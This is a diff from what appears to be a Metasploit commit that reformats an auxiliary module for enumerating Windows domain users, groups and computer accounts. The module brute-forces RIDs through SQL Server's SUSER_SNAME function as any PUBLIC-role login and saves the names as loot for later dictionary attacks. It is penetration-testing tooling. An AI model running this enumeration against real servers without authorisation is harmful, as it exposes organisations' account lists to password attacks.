@@ -8,41 +8,50 @@ class MetasploitModule < Msf::Auxiliary
8
8
include Msf ::Auxiliary ::Report
9
9
10
10
def initialize ( info = { } )
11
- super ( update_info ( info ,
12
- 'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration' ,
13
- 'Description' => %q{
14
- This module can be used to bruteforce RIDs associated with the domain of the SQL Server
15
- using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed
16
- through SQL Server queries as any user with the PUBLIC role (everyone). Information that
17
- can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated
18
- accounts can then be used in online dictionary attacks.
19
- } ,
20
- 'Author' =>
21
- [
11
+ super (
12
+ update_info (
13
+ info ,
14
+ 'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration' ,
15
+ 'Description' => %q{
16
+ This module can be used to bruteforce RIDs associated with the domain of the SQL Server
17
+ using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed
18
+ through SQL Server queries as any user with the PUBLIC role (everyone). Information that
19
+ can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated
20
+ accounts can then be used in online dictionary attacks.
21
+ } ,
22
+ 'Author' => [
22
23
'nullbind <scott.sutherland[at]netspi.com>' ,
23
24
'antti <antti.rantasaari[at]netspi.com>'
24
25
] ,
25
- 'License' => MSF_LICENSE ,
26
- 'References' => [ [ 'URL' , 'https://docs.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql' ] ]
27
- ) )
26
+ 'License' => MSF_LICENSE ,
27
+ 'References' => [ [ 'URL' , 'https://docs.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql' ] ] ,
28
+ 'Notes' => {
29
+ 'Stability' => [ CRASH_SAFE ] ,
30
+ 'SideEffects' => [ IOC_IN_LOGS ] ,
31
+ 'Reliability' => [ ]
32
+ }
33
+ )
34
+ )
28
35
29
36
register_options (
30
37
[
31
- OptInt . new ( 'FuzzNum' , [ true , 'Number of principal_ids to fuzz.' , 10000 ] ) ,
32
- ] )
38
+ OptInt . new ( 'FuzzNum' , [ true , 'Number of principal_ids to fuzz.' , 10_000 ] ) ,
39
+ ]
40
+ )
33
41
end
34
42
35
43
def run
36
44
# Check connection and issue initial query
37
45
print_status ( "Attempting to connect to the database server at #{ rhost } :#{ rport } as #{ datastore [ 'USERNAME' ] } ..." )
38
- if mssql_login_datastore
39
- print_good ( 'Connected.' )
40
- else
46
+
47
+ unless mssql_login_datastore
41
48
print_error ( 'Login was unsuccessful. Check your credentials.' )
42
49
disconnect
43
50
return
44
51
end
45
52
53
+ print_good ( 'Connected.' )
54
+
46
55
# Get the server name
47
56
sql_server_name = get_sql_server_name
48
57
print_status ( "SQL Server Name: #{ sql_server_name } " )
@@ -53,13 +62,13 @@ def run
53
62
print_error ( "Could not recover the SQL Server's domain." )
54
63
disconnect
55
64
return
56
- else
57
- print_status ( "Domain Name: #{ sql_server_domain } " )
58
65
end
59
66
67
+ print_status ( "Domain Name: #{ sql_server_domain } " )
68
+
60
69
# Check if the domain and hostname are the same
61
70
if sql_server_name == sql_server_domain
62
- print_error ( " The SQL Server does not appear to be part of a Windows domain." )
71
+ print_error ( ' The SQL Server does not appear to be part of a Windows domain.' )
63
72
disconnect
64
73
return
65
74
end
@@ -70,10 +79,10 @@ def run
70
79
print_error ( "Could not recover the SQL Server's domain sid." )
71
80
disconnect
72
81
return
73
- else
74
- print_good ( "Found the domain sid: #{ windows_domain_sid } " )
75
82
end
76
83
84
+ print_good ( "Found the domain sid: #{ windows_domain_sid } " )
85
+
77
86
# Get a list of windows users, groups, and computer accounts using SUSER_NAME()
78
87
print_status ( "Brute forcing #{ datastore [ 'FuzzNum' ] } RIDs through the SQL Server, be patient..." )
79
88
win_domain_user_list = get_win_domain_users ( windows_domain_sid )
@@ -94,8 +103,8 @@ def run
94
103
95
104
# Create table for report
96
105
windows_domain_login_table = Rex ::Text ::Table . new (
97
- 'Header' => 'Windows Domain Accounts' ,
98
- 'Ident' => 1 ,
106
+ 'Header' => 'Windows Domain Accounts' ,
107
+ 'Ident' => 1 ,
99
108
'Columns' => [ 'name' ]
100
109
)
101
110
@@ -106,10 +115,10 @@ def run
106
115
107
116
# Create output file
108
117
this_service = report_service (
109
- : host => mssql_client . peerhost ,
110
- : port => mssql_client . peerport ,
111
- : name => 'mssql' ,
112
- : proto => 'tcp'
118
+ host : mssql_client . peerhost ,
119
+ port : mssql_client . peerport ,
120
+ name : 'mssql' ,
121
+ proto : 'tcp'
113
122
)
114
123
file_name = "#{ mssql_client . peerhost } -#{ mssql_client . peerport } _windows_domain_accounts.csv"
115
124
path = store_loot (
@@ -119,23 +128,22 @@ def run
119
128
windows_domain_login_table . to_csv ,
120
129
file_name ,
121
130
'Domain Users enumerated through SQL Server' ,
122
- this_service )
131
+ this_service
132
+ )
123
133
print_status ( "Query results have been saved to: #{ path } " )
124
134
end
125
135
126
136
# Get list of windows accounts,groups,and computer accounts
127
137
def get_win_domain_users ( windows_domain_sid )
128
-
129
138
# Create array to store the windws accounts etc
130
139
windows_logins = [ ]
131
140
132
141
# Fuzz the principal_id parameter passed to the SUSER_NAME function
133
142
( 500 ..datastore [ 'FuzzNum' ] ) . each do |principal_id |
134
-
135
143
# Convert number to hex and fix order
136
- principal_id_hex = " %02X" % principal_id
137
- principal_id_hex_pad = ( principal_id_hex . size . even? ? principal_id_hex : ( "0" + principal_id_hex ) )
138
- principal_id_clean = principal_id_hex_pad . scan ( /(..)/ ) . reverse . flatten . join
144
+ principal_id_hex = ' %02X' % principal_id
145
+ principal_id_hex_pad = ( principal_id_hex . size . even? ? principal_id_hex : ( '0' + principal_id_hex ) )
146
+ principal_id_clean = principal_id_hex_pad . scan ( /(..)/ ) . reverse . flatten . join
139
147
140
148
# Add padding
141
149
principal_id_hex_padded2 = principal_id_clean . ljust ( 8 , '0' )
@@ -159,7 +167,7 @@ def get_win_domain_users(windows_domain_sid)
159
167
windows_login = parse_results [ 0 ] [ 0 ]
160
168
161
169
# Print account,group,or computer account etc
162
- if windows_login . length != 0
170
+ if ! windows_login . empty?
163
171
print_status ( " - #{ windows_login } " )
164
172
165
173
vprint_status ( "Test sid: #{ win_sid } " )
@@ -175,9 +183,8 @@ def get_win_domain_users(windows_domain_sid)
175
183
176
184
# Get windows domain
177
185
def get_windows_domain
178
-
179
186
# Setup query to check the domain
180
- sql = " SELECT DEFAULT_DOMAIN() as mydomain"
187
+ sql = ' SELECT DEFAULT_DOMAIN() as mydomain'
181
188
182
189
# Run query
183
190
result = mssql_query ( sql )
@@ -192,9 +199,8 @@ def get_windows_domain
192
199
193
200
# Get the sql server's hostname
194
201
def get_sql_server_name
195
-
196
202
# Setup query to check the server name
197
- sql = " SELECT @@servername"
203
+ sql = ' SELECT @@servername'
198
204
199
205
# Run query
200
206
result = mssql_query ( sql )
@@ -210,7 +216,6 @@ def get_sql_server_name
210
216
211
217
# Get windows domain
212
218
def get_windows_domain_sid ( sql_server_domain )
213
-
214
219
# Set group
215
220
domain_group = "#{ sql_server_domain } \\ Domain Admins"
216
221
@@ -226,7 +231,7 @@ def get_windows_domain_sid(sql_server_domain)
226
231
domain_sid = object_sid [ 0 ..47 ]
227
232
228
233
# Return if sid does not resolve for a domain
229
- if domain_sid . length == 0
234
+ if domain_sid . empty?
230
235
return nil
231
236
end
232
237
0 commit comments